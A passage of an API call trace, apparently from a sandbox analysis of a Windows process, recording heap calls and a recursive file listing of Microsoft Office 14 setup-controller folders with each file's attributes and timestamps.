hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.389] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0074.389] GetProcessHeap () returned 0x550000 [0074.389] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.389] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.389] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.389] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0074.390] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.390] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.390] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.390] GetProcessHeap () returned 0x550000 [0074.390] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.390] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0074.391] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0074.391] GetProcessHeap () returned 0x550000 [0074.391] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.393] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.394] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0074.394] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0074.394] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0074.395] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.395] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0074.395] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0074.397] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0074.397] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0074.398] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0074.398] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0074.399] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0074.399] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.400] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.401] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.404] GetProcessHeap () returned 0x550000 [0074.404] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.404] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0074.405] GetProcessHeap () returned 0x550000 [0074.405] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.405] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.406] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.406] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.406] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.407] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.407] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.407] GetProcessHeap () returned 0x550000 [0074.407] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.407] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0074.407] GetProcessHeap () returned 0x550000 [0074.407] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.407] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.412] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.412] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0074.412] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0074.413] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.413] GetProcessHeap () returned 0x550000 [0074.413] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.413] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0074.413] GetProcessHeap () returned 0x550000 [0074.413] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.413] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684330 [0074.415] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.415] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0074.416] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0074.416] FindNextFileW (in: hFindFile=0x2684330, lpFindFileData=0x27feb40 | out: lpFindFileData=0x27feb40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0074.416] FindClose (in: hFindFile=0x2684330 | out: hFindFile=0x2684330) returned 1 [0074.417] GetProcessHeap () returned 0x550000 [0074.417] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x35d0048 | out: hHeap=0x550000) returned 1 [0074.417] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0074.417] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0074.417] FindNextFileW (in: hFindFile=0x26842f0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0074.417] GetProcessHeap () returned 0x550000 [0074.417] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x35d0048 [0074.418] FindFirstFileW (in: 